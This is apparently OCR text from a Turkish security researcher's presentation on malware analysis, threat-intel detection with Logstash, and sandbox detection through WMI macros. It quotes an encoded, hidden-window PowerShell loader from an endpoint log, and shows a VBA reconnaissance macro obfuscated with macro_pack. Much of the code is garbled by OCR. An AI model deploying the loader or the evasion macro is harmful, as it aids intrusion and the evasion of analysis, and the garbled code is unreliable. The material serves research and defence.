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https://www.fireeye.com/solutions/hx-endpoint-security-products.html
https://www.carbonblack.com/products/cb-response/
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https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

$35-

QFB9W=B ?IFIAIBIN85?= + G=GH9A=B=N [UD<8@FG=FI®
?21@@5BYAY =@9 =@;=@= C@5F5? 5[5WY85?= JeRVEBBB=F 5@°F
,=0OF UPB@=? &9F?9N="B=N89?= 5B5@=GH@BB6IB ?YGC5 G
5@5FAY 5B5@=N 9HA9? d48x8 AISF-Y?A8?H3=F

"event_values": {

"processEvent/eventType": "start",

"processEvent/process": "powershell.exe",

"processEvent/processPath":
"C:\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
"processEvent/processCmadLine":

"\"powershell.exe\" -noni -nop -w hidden -c
&([scriptblock]::create((New-Object

10.StreamReader(New-Object

I0.Compression.  GzipStream ((New-Object
I0.MemoryStream(,[Convert]:: FromBase64String  (‘H4sIAL3yll
iIOBD+3JX2P0QrpCS6I1JfCbtVKK53DS0ILWmggIHLo5CZOMDgxdZzystrf,
O+pjgSNFK7HH1sAXINLD3NOPjmChtLOVz402RatViOeYxrPz82YqgBInl4
0BZbrZtYm90OIGMU+9laj3s4i6 XsrBiVmvrHH60+Pa7Nyu3HFLNEUS51tIkI!
KY/
iBATkGnZ7ljaRc+4nqg45wEcQmYpYgWwy980ipsKwL7iHfF+QBGzLVvz
vn/3/11Q8EyW3/
EMo6PpfkwgNg3PE703+6xUDcWGc7DKYguvpaFliT5Tphni09IMKW2W\
maKWU+EcgDohKICjjuvw/
mMwIWmWrFNIgDp8K4C8AGOIRTWuUUK3xenZOxipTYaTxFD6KZSLZyg(
AZKkF20RXIKXqAXGQ/
NBZEY9iimFhKF3gE3PrOLA4WHOTISZmjMYh7PQETMBMhoAjMzkIiDG
wzYvZD+0/
kvKv8QSVOQnAytqJGpuZWZtEVLXgb4Apc9ICKICAh3BIXMN5FPDKQLwW
ZVVD7tzN26am52i9APJq0gCE8D57b2sUN74+bArJ7gXqud9sbm2qw2kjZ
kx4gOX+Xwtk/p9peK6J7T+abioVM7cO9wdJje/
dSs118DYTYdjGI85wuHt2D0JmyfePIC9etfRCmMGEBgiZYxyafHx10/
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9upg6P7+HGEHQoLhyj8ShnBvVThblaheZb3TSqkOHPp9Xkq62W7W
6vaOWFNYcf/1/Qep77h9WfQrBq7PNIONfvIxC/
B+at5jzGVYOhAX2DkcDWImMX6uixeX
954T4D3In+yf000q;6/
hUvBbAKBYiaAJAAA=")),[10.Compression.CompressionMode]::
"processEvent/parentProcessPath":
"C:\\Windows\SysWOwe64\\WindowsPowerShell\\v1.0\\powershell.ex
"processEvent/parentProcess":
"powershell.exe",
}
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https://msdn.microsoft.com/en-us/library/system.io.memorystream(v=vs.110).aspx
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https://github.com/MarioVilas/shellcode_tools/blob/master/shellcode2exe.py
https://rada.re/r/
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https://metasploit.com/
https://github.com/rapid7/metasploit-framework/blob/cac890a797d0d770260074dfe703eb5cfb63bd46/external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm
https://github.com/rapid7/metasploit-framework/blob/cac890a797d0d770260074dfe703eb5cfb63bd46/external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm
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https://www.cobaltstrike.com/
https://www.ft.com/content/b813ab48-1b04-11e8-aaca-4574d7dabfb6
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https://linux.die.net/man/1/xxd
https://rada.re/r/
https://radare.gitbooks.io/radare2book/content/tools/rabin2/intro.html
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https://www.telerik.com/fiddler
https://www.charlesproxy.com/
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https://www.cobaltstrike.com/help-malleable-c2
https://en.wikipedia.org/wiki/Code_cave
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https://twitter.com/vk_intel/status/934296300488679424?lang=en
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https://github.com/rapid7/metasploit-framework/blob/cac890a797d0d770260074dfe703eb5cfb63bd46/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
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https://www.fireeye.com/
https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
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https://www.mertsarica.com/medya/sunumlar-2019/2015-2/istsec-2015/
https://www.linkedin.com/in/%C3%B6zkan-aktekin-67838355/
https://wordpress.org/
https://www.istsec.org/
https://www.mertsarica.com/istsec19-bilgi-guvenligi-konferansi/
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https://en.wikipedia.org/wiki/Dynamic_DNS
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https://asuswrt.lostrealm.ca/
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root@ubuntu: /etc/Togstash/Ts-otx# cat OTX.py
#! fusr/bin/env p¥thor’|

# -*- coding: utf-8 -*-

# OTX to Logstash Dictionary script

# author: Mert SARICA

# E-mail: mert [ . ] sarica [@ ] gmail [ . ] com
# URL: https: //\-mm mertsarica.com
#

# credit: https://raw.githubusercontent. com/TravisFsmith/MyBroelk/master /maliciousIpP.py

mport re
debug = 0
def writevamL():
fname = /'etc/'\ugstash/'\s otx/otx.dat"
yamlFile = open( /etc/'\ogstash/trans'\ate/OTx yaml',"'w')

with open(fname) as html:

[]
for’ Tine_in heml. read]'mes()

ine = re.sub ( \r IR, "', Tine)
if line.find("Intel: DoMAIN") >= 0:
try:

line = Tine. sp'ht( \t")[0]
if 1ine not in cti
ct1 agpend('\me)

print line. sp'ht( \t 200 ]
yamlFile.write("\"" T OAYES\T 4+ "\n™)
except:

continue

if line.find("Intel::urRL™) >= 0:
Try:

line = line.split("\t")[0]
Tline = Tine.split("/")[0]
except:
Tine = Tine.split("\t")[0]
Try:
Tine = Tine.split(":")[0]
if line not in cti:
cti. agpend('\me)
if d
print Tine
yam'\Fﬂe write("\"" + Tine + "\": \"YES\"" + "\n")
except:

if 1ine not in c
cU agpend('\'me)

pri ine
yam'\m'\e.wr'\te( TR Tines TN NTYESNT T TANT)
yamlrile.close()
if _name__—="__main,

wr‘\teYAML()
root@ubuntu: /etc/Togstash/1s-otx# ||

root@ubuntu: /etc/logstash/translate# Is

OTX. yaml

root@ubuntu fetc{?ogstashjtrans]ate# head -n 10 OTX.yaml
"www. aucsellers. com YES

"www. Tunwe. com” : "YES"
"patane.myonlineportal.org”: "YES
"isozaki.sakura.ne. ]p "YES"
"wewi, weo-kyousai.com': "YES"
"www. 51lcs.net”: "YES"

"wwwb. intarnetservice.com”: "YES"
"www. webmailerservices. com": "YES"
"go-trust.webmailerservices. com":
"www. adobeservice.net”: "YES"
root@ubuntu: /etc/logstash/translate#

YES"
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L cont Togsrash h S he defau
P e B A e Ries
hes'or command Tine options are specified

i
sqzm,,.p,mzz";,msstﬁezmuy(pwﬂ,qz.em‘ md_”:rhs,.aummw,) e e

14 /bocestr3p/enyironmant. rb:6] agert - pipeTines rumming (icountosL, irunning_pipelines-s [imsin], tnon_running pipeTines-s
e ook e v enapoint pateosoaon)” il Bt o il 2l
i

115/ amesone_or it/ Formatters /base_formatcer. rbi31: warning: constant ::¢fxnun 15 deprecated

-o; o0 ebser 1 ot
FRTRCRO I e i AR
e Rt endor FORE by 15,0 ek e ¢

7149 192.168.1.1 dnseasq[29860): reply test.com 15 173.194.219.138",

sysTo grooran = cnsnsaa
Regzage! = u

"sys1gg_Tporfost
R 3

tasp!

“systog's iparporet:

zg’m KJ‘ ﬂmot}:;sﬂgumnywkva‘

Siog"
siog:
ar i,
<ags:
[0 “dnsmszy
2 _ .
>
far 31 10117149 162,168,131 dnsnasq (299601 reply . sucsellers. con 1 173.194.210.138
dnsmasa”’,
751719117149 192.165.1.1 dnsaasq[29860]: reply waw. aucsellers. com 15 173.194.219.138,

T

R

bar 3 i te,

(

[0 1dnss

[N
“waiicions”

« O o

Malicious Traffic D inbox x

alert@mertsarica.com
tome «

via sandbox.mgsend.net

Malicious traffic has been detected!

Destination Domain: www.aucsellers.com
Destination IP: 173194 219138
Raw Log: Mar 31 19:17:49 192.168.1.1 dnsmasq[29860]: reply www aucsellers com is 173.194.219.138
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https://github.com/outflanknl/RedELK
https://www.virustotal.com/
https://any.run/
https://www.hybrid-analysis.com/
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https://www.lastline.com/solutions/analyst/
https://www.vmray.com/products/malware-sandbox-vmray-analyzer/
https://docs.microsoft.com/en-us/windows/desktop/wmisdk/wmi-start-page
https://docs.microsoft.com/tr-tr/windows/desktop/CIMWin32Prov/win32-provider
https://sites.google.com/site/beyondexcel/project-updates/exposingsystemsecretswithvbaandwmiapi
https://docs.microsoft.com/en-us/windows/desktop/cimwin32prov/operating-system-classes
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File Edit Search View Encoding Language Seftings Tools Macro Run Plugins Window 7 ™
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1 ' Ruthor: Mert SARICA - hrtps://www.mertsarica.com - mert.sarica[@]gmail.com -
2 ' For Security Research Purposes Only 1

! Credit: https://sites.qoogle.com/site/be 1/proiect-updates/exposingsystensecretswithvbaandmmiapi

Private Sub Document_Cpen ()

End Sub
Sub WMI ()
Dim OWMISIvEx As Cbject ' SWobemServicesEx |4
Dim cWMICb3Set As Object  'SWeemServicesObjectSet
Dim oWMIOb3Ex &s Object  'SWbemObjectEx
Dim CWMIProp As Cbject ' SWbemProperty
Dim n As Long 'Generic Countexr
Dim i as Integer
17 Dim s Zs Integer

Dim SWQL(1 To 25) As String
Dim arrMarks() As String
Dim msgString As String
Dim rValue As Boolean

ReDim arrMarks (65535)

SWQL(1) = "Select * From Win32_NetworkAdapterConfiguration”
SWGL(2) = "Select # From Win32_ SystemEnclosure" 'BC 's Manufacturer and Serial Number

SWQL(3) = "Select * From Win32_LegicalDisk" 'Disks with capacities and free space.

SWQL(4) = "Select * From Win32_Processor" 'CPU Specs

SWQL(5) = "Select * From Win32_ PhysicalMemoryArray" 'RAM/Installed Memory size

SWQL(6) = "Select * From Win32_VideoContreller" 'Graphics adapter and settings

SWQL(7) = "Select * From Win32_OnBoardDevice" 'Motherboard devices

SWQL(8) = "Select * From Win32_OperatingSystem” 'Which version of Windows with Serial Number

SWQL(9) = "Select * From WIn32 Printer® 'Installed Printers

SWQL(10) = "Select * From Win32_Product” 'Installed Software

SWQL(11) = "Select * From WIn32 Account” 'List all User Accounts on a BC or Domain

SWQL(12) = "Select * From Win3J_ComputerSystem" 'See who is currently using a remote BC (also Win32_LoggedonUser)
SWQL(13) = "Select * From Win32_BaseService" 'List services running (or stopped) on any PC along with the

service's path and file name.

Normal text file length:6.277 lines:128 Ln:13 Col:51 Sel:0(0 Windows (CRLF)  UTF-8 INS



https://github.com/sevagas/macro_pack

Preparations
Target uutput format: Excel
Input file path: macro.txt
Temporary working dir: temp
Store input file...
Temporary input file: temphcefiigddy.uha
Prepare Excel file generation...
Check feasibility...
UBA names obfuscation ...
Rename functions...
Rename variables...
Rename numeric constants...
Rename APl imports...
OK?

UBfi strings obfuscation ...
Split strings...
Encode strings

obfuscation ...
conments

Generating M8 Excel document
Set Softuare\ﬂlcroguft\off1ce\16 B\Excel\Security to 1.
Open workhook
Changing auto npen function from Document_Open to UWorkhook_Open.
Inject UBA
Remove hidden data and personal info...
Save workbook
Set Softuare\chroguft\Off1ce\16 B\Excel\Security to B.
%enerate? Excel file path: C:=slUsers MertiDesktop Mert—-Obfuscated25.xlsm
est with
macro_pack.exe —run G:nUserssMertsDesktopsMert-Obfuscated25.xlsm

Cleaning. - .
Done

29 Microsoft Visual Basic for Applications - Mert-Obfuscated25.xlsm - [ThisWorkbook (Code)

& Fle Edit View Inset Fomat Debug Run Tools Adddns Window Help -
E&E-A A »on oo W SEFY @ | tn79, Co137 2
Lo o Elfe— +  devoitudboz -
Thisworkbool Viorkbook  ~ =1
t nzslynpena 7

an
Y

© nefuntiuev
nst_yxtfogysvi = 0

Aphabetic | categorized

Con

|Accuracy Versio

Sub Workbook_Open (
AutoUpdateFre kobgwwizm) |
[ChangeHistoryl End Sub E

|ChartDataPoint Kobguwizm3 ()
(CheckCompatibi byfuechy As Object
(ConfiictResolutic 1 azrwemvrgxpef As Cbject

Jaryvxbggka As Object
vimxuhggswzhnlutbzg
IDisplayInkComm huclkzdspoun
[BoNotPromptio
[EncbleAutoRect
[EncryptionProvi
[EnvelopeVisible

pxjjnyaj

SHQL(1 To 25) As
arrMarks() As Strin
wuvytgeakiv As Str

eger

w

vrxgmbpd As Boolean

ReDim arrMaris (65535)

SWQL(1) = xmdhezkefxfn ("53656c65637420222046") & xmdhezkefxfn ("726£602057606e3332514e6574776172¢
SWQL(2) = xmdhezkofxfn ("536560656374202a2046726£642057696233325£53797374656d") & xmdnezkofren ("4

SWQL(3) = xmdhezkcfxfn ("53656c656374202a2046726£6d2057696e33325F4c6£676963616C446973") & xmdhezh
SWQL(4) = xmdhezkefxfn("5365") & xmdhezkefxfn("6C656374202a2046726£602057606e33325£50726£6365737

SWQL(S) = xmdnezkcfxin ("S3656C656374202a204672656d2057696233325E5068") & xmdhezkcExEn ("79736963¢

lpersonalviewLis SWQL(6) = xmdhezkcfxfn (™ 3") & xmdhezkcfxfn("7420222046726£602057696e333250566964656143¢

[PersonalViewPrii i SWQL(T) = smdnezkefxfn (™ 74") & xmdnezkefxfn("20222046726L6d20576062333255456242656172€
SWQL(2) = xmdnezkefxfn ("S36560656374202a20") & xmdnezKofxfn ("46726£60205769623332554£7065726174¢€
SWOL(3) = xmdhezkcfxfn("53") & xmdhezkcfxfn ("656c65637420222046726£6d2057496e33525E5072696eT4657

. 0 v
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https://app.any.run/tasks/09f3568a-6413-477d-a683-9380186d2729
https://www.virustotal.com/gui/file/d878a7c8fa46c52020a07de7726a8a740d245dcf0a58355b88a054059f933ba3/detection
https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-operatingsystem
https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-operatingsystem
https://docs.microsoft.com/en-us/windows/desktop/cimwin32prov/win32-operatingsystem
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https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-logicalprogramgroup
https://www.immunityinc.com/products/debugger/
https://www.immunityinc.com/products/debugger/
https://processhacker.sourceforge.io/
https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-systembios

m _ ﬁ'

65?HYWYAS5 6=F H5BOG=B=BV?UBU7UGKBI@5HAMIF=B89
6=F 8=WOF=B=B *&G9 TM?UBU7UGU UN9F=B89 S5@Y[HYW)
8C@5MYGYM@5 61 =?= G=GHIA=B 89 ?IA <5JINI G=GHIA=B9 5=H !
Y[C@S8IA

25000000, 0000005000

Bochs is a portable IA-32 and x86-64 IBM PC
compatible emulator and debugger mostly

SoftwareElementID Intel 16D BDSM enabled at Ux308x, size S1ldMB, dev 00:02.0 written in C++ and distributed as free

Sofomres it software under the GNU Lesser General

- et Public License. It supports emulation of the
SystemBiosMinorversion 0 processor, memory, disks, display, Ethernet,

Rasgecoparatingeyaten.d BIOS and common hardware peripherals of
Version BCES 1 g PCs

vvvvv Select * from Win32_SystembIOS *ett

ent. \\DESKTOP-HRW10\root\cimv2:Win32_BIOS.Name="1ntel 16D BDSH enabled at &
3 et ]

. size x11due,

QEMU is a free and

open-source emulator
that performs hardware
virtualization. QEMU is a
hosted virtual machine
monitor: it emulates the

machine’s processor
through dynamic binary

15,377 tines | INS | Read-only Edn  Plug-in | Newer S002KB ANSI
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http://bochs.sourceforge.net/
https://www.qemu.org/
https://www.vmray.com/analyses/d878a7c8fa46/report/overview.html
https://app.any.run/tasks/09f3568a-6413-477d-a683-9380186d2729
https://www.virustotal.com/gui/file/d878a7c8fa46c52020a07de7726a8a740d245dcf0a58355b88a054059f933ba3/detection
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https://www.mertsarica.com/sunumlar/Kum_Havuzu_Tespiti.pptx
https://www.mertsarica.com/sunumlar/Kum_Havuzu_Tespiti.pptx
https://www.mertsarica.com/sunumlar/Kum_Havuzu_Tespiti.pptx
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https://www.goodreads.com/review/list/52229036-mert-sarica?page=1&shelf=read
https://www.linkedin.com/in/huzeyfe/
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Bu arada verdiginiz 6neriler kendimi gelistirme
konusunda ¢ok yardimci oldu ve sektore
girebilmemde inanin blog yazilarimizin ¢ok yarari oldu
ozellikle malware analizi vb. konularinda.

lyi giinler dilerim.

Aranilan Terimler

bad
Ghidra

WAF ARKASINA ATLARIM, BAYRAMINIZI
KUTLARIM A

Merhaba Mert Abi
Cok gtizel bir iletisim araci
Black hat

Selamun aleykim hayirli isler


https://www.mertsarica.com/tesekkurler/

Konu:
umutlar

ileti:

MERHABA :)

aslinda herhangi bir sorum yok. Sadece sunu
soylemek istiyorum.

Cok basaril bir insansiniz ve benim gibi kisilere umut
oluyorsunuz. Yazilariniz ¢ok dgretici ve bizlere
hacking ile

ilgili konularda bu denli yardimci olmaniz ¢ok
muazzam bir sey.

ilk basta kendi adima olmak {izere cok cok
tesekkdrlerimi

sunarim :). iyi ki varsiniz ve iyi ki bu isi yapiyorsunuz.
Kendinize ¢ok iyi bakin. Allah su hayatta ne isteginiz
varsa size

onu nasip etsin. lyi gunler dilerim :)

Hocam merhaba, umarim iyisinizdir.
Yaklasik iki yil dnce size danigtigim

sorular sayesinde siber guvenligi
kendime kariyer yolu olarak
belirlemistim. Edindigim farkh

1V

Merhabalar. Ben lise 6grencisiyim.
Calismalarinizi takip ediyorum. Cok
basarlisiniz. Sizin gibi olmak isteyen
genclere ne onerirsiniz?
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Aranilan Terimler
» pytnon

= pythpn

= hocam kahve igmeye Universetimize davet
etsek gelir misiniz' or 1=1---ban yemem umarim
:D

» antim
= turkge siber guvenlik kitap
= DGA

(# abi nasilsin bir giin aksam c¢ay icmeye
beklerim, selamlar...
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&P Merhabalar Mert hocam, kendimi siber
guvenlik alaninda gelistirmek istiyorum
kaynak sikintisi ve ilerleme konusuda
sorabi..... saka saka :) :) glivenlik tv'yi
ve yazilarinizi severek takip ediyorum .
ozellikle giivenlik tv videolarinizi daha
fazla bekliyoruz,. guzel igerikleriniz igin
tesekkirler etmek i¢cin mesaj atmistim
belki boyle mesajlariniza ihtiyaciniz
vardir diyerek :)

Daniel Bohannon

lyi glinler Mert. Your recent blog
post on PowerShell shellcode
analysis was a great writeup and
has given me some new detection
ideas. Cok tesekkir ederim ve
mutlu yeni yillar!
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locam merhaba. sitenizi yakindan takip
iginiz yararl
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